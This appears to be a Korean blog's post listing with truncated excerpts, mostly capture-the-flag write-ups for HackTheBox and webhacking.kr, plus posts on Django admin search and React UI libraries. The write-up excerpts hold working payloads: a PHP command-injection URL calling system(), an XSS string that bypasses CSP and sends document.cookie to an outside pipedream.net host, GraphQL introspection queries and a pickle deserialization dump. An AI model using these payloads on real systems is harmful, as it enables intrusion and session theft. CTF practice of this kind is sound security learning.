Search by function returns in Django Admin

장고를 사용하다 보면 search_fields 를 사용할 일이 생기는데, 이때 여러 fields 간의 결합된 것들 중 검색하고 싶을 때는 어떻게 해야하는지 단서를 제공할 수 있는 글이다. from django.contrib import admin from django.contrib.auth import get_user_model from django.contrib.auth.admin import UserAdmin User = get_user_model() class CustomUserAdmin(UserAdmin): search_fields = ['username'] # search by username def get_search_results(self, request, queryset, search_te..

React Semantic UI vs. Chakra UI

Semantic UI 장점 사용이 매우 간편하다. 공식 홈페이지에 컴포넌트 별로 props도 정리가 잘 되어있고 사용법도 상세하게 잘 나와있음. 디자인. 사용하기 직관적이고 일관적이었음. 미리 구현된 것이 많아서 빠르고 편하게 사용할 수 있다는 장점이 있음. 단점 계속 사용하게 되면 Bootstrap처럼 개성없는 디자인으로 변질될 가능성이 있어 보인다. (다행히 아직 React의 시장 점유율이 낮아서 망정이지) 살짝 밋밋한 느낌? Bootstrap 보다는 낫지만 그래도 어딘가 부족해보인다. Chakra UI 장점 디자인이 정말 깔끔하고 모던하게 예쁘다. 어떤 단점이 있어도 디자인이 깔끔하고 모던하다는게 단점을 압도할 수 있을 것 같음. 단점 구현된게 별로 없어서 내가 컴포넌트를 만들어가면서 해야한다는게...

HackTheBox Heist write-up

타겟 분석 $ nmap -A -T4 10.129.23.138 Nmap scan report for 10.129.23.138 Host is up (0.19s latency). Not shown: 997 filtered ports PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 | http-cookie-flags: | /: | PHPSESSID: |_ httponly flag not set | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Microsoft-IIS/10.0 | http-title: Support Login Page |_Requested ..

webhacking.kr slipping beauty write-up

오늘 기계학습 시험을 봤는데 너무 망쳐서 그냥 웹해킹이나 더 공부하려고 webhacking.kr 문제를 풀었다. highlight_file() 을 통해 소스가 제공되는 문제이다. 한눈에 봐도 Attack Surface가 2가지 정도 보인다. File Upload 기능과 PHP Zip wrapper를 통한 file read 기능이 그것이다. 1 트. 일단 이 공격을 ZIP Slipping 이라고 했던 것 같은데, symbolic linked file을 zip하여 arbitrary file read까지 할 수 있다는 사실을 알고 있는 상태였다. + TMI ) 고등학교 1학년 때 BoB WEB CTF였나? 거기서 성준이형이 이 공격을 사용해 출제한 문제를 풀면서 알게됐던 공격이다. 이런 식으로도 공격이 되는구..

webhacking.kr NotSQL

GraphQL GraphQL은 기존의 REST API 형식에서 벗어나 프론트엔드 개발자가 스스로 원하는 데이터를 백엔드 개발자의 도움없이 가져올 수 있다는 점에서 개발 능률 향상에 효과적인 도구이다. 그렇지만 백엔드 개발자가 GraphQL 기능의 권한을 제대로 검사하지 않을 경우 Broken Authentication Control에 취약할 수 있다. Exploit. webhacking.kr:10012/view.php?query={__schema{types{name}}} webhacking.kr:10012/view.php?query=query {__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDepr..

HackTheBox LoveTok write-up

문제에 접근하면 제일 처음 이런 화면을 볼 수 있다. 사실 문제 소스가 제공되는 문제이다. format을 입력하면 그에 맞는 포맷으로 시간을 리턴하는 간단한 웹페이지다. 하지만 포맷을 입력할 때 다음과 같은 코드를 사용한다. PHP에서는 string 안에서 변수에 접근하거나 함수를 실행할 수 있기 때문에 system() 함수를 실행할 수 있다. http://138.68.182.108:31769/?format={$_GET[0]($_GET[1])}&0=system&1=ls+-al+/;cat+/flagmKC78 끝이다.

webhacking.kr CHILD write-up

문제 분석 전형적인 XSS 문제이고, CSP를 우회하는 문제이다. 해당 문제의 HTTP Header를 보면 다음과 같다. script-src https://*.google.com/ 으로 되어있다. google의 서비스 중 하나를 찾아서 reflective한 값을 출력해주는 곳을 찾아야 하겠다. Exploit. ?inject=%3Cscript+src=%22https://accounts.google.com/o/oauth2/revoke?callback=(location.href=%27https://enl33h4vtg95t8o.m.pipedream.net/?c=%27%252bdocument.cookie);%22%3E%3C/script%3E 구글링을 조금 해보니까 callback을 통해 javascript cod..

HackTheBox baby website rick write-up

>>> pickletools.dis(b64decode(code)) 0: ( MARK 1: d DICT (MARK at 0) 2: p PUT 0 5: S STRING 'serum' 14: p PUT 1 17: c GLOBAL 'copy_reg _reconstructor' 42: p PUT 2 45: ( MARK 46: c GLOBAL '__main__ anti_pickle_serum' 74: p PUT 3 77: c GLOBAL '__builtin__ object' 97: p PUT 4 100: N NONE 101: t TUPLE (MARK at 45) 102: p PUT 5 105: R REDUCE 106: p PUT 6 109: s SETITEM 110: . STOP highest protocol am..

HackTheBox baby breaking grad write-up

오랜만에 CTF 하는 것처럼 긴장감있던 문제였다. 취약점 분석 1트 문제에 처음 접근하면 다음과 같은 화면을 볼 수 있다. Kenny Baker나 Jack Purvis를 선택하고 'Did I pass?' 버튼을 클릭하면 /api/calculate에 HTTP Post 요청을 보내서 값을 확인한다. Kenny Baker를 선택하고 버튼을 누르면 {"name":"Kenny Baker"}가 전송된다. "Kenny Baker"를 {}로 바꾸어 보냈더니 다음과 같이 500 에러가 떴다. Javascript Prototype Pollution으로 푸는 문제인가 싶어서 includes에서 취약점이 있다고 가정하고 계속 삽질했다. 출제자 인성 너무하네 싶을 때 쯤 소스를 제공해주는 문제임을 깨달았다. 2트 /api/ca..

HackTheBox baby todo or not todo write-up

소스가 제공되는 문제이다. Python Flask로 구동된다. Broken Authentication 문제이며 고등학생 때는 이런 문제를 보면 더러운 문제라고 욕했지만, 실제로 회사에서 진행했던 펜테스팅 프로젝트에서 Broken Authentication 상태의 웹 서비스를 많이 볼 수 봐서 그런지 이 문제에 공감이 많이 되었다. 소스분석 /challenge/application/blueprints/routes.py 에 들어가보면 URL에 매핑된 코드들을 볼 수 있다. TODO를 봐도 알 수 있지만 딱봐도 아무런 인증 구현없이 모든 todo objects를 뿌리는 걸 볼 수 있다. 여기에 접속했더니 flag가 있다. 익스플로잇. 139.59.178.146:30794/api/list/all/?secret=..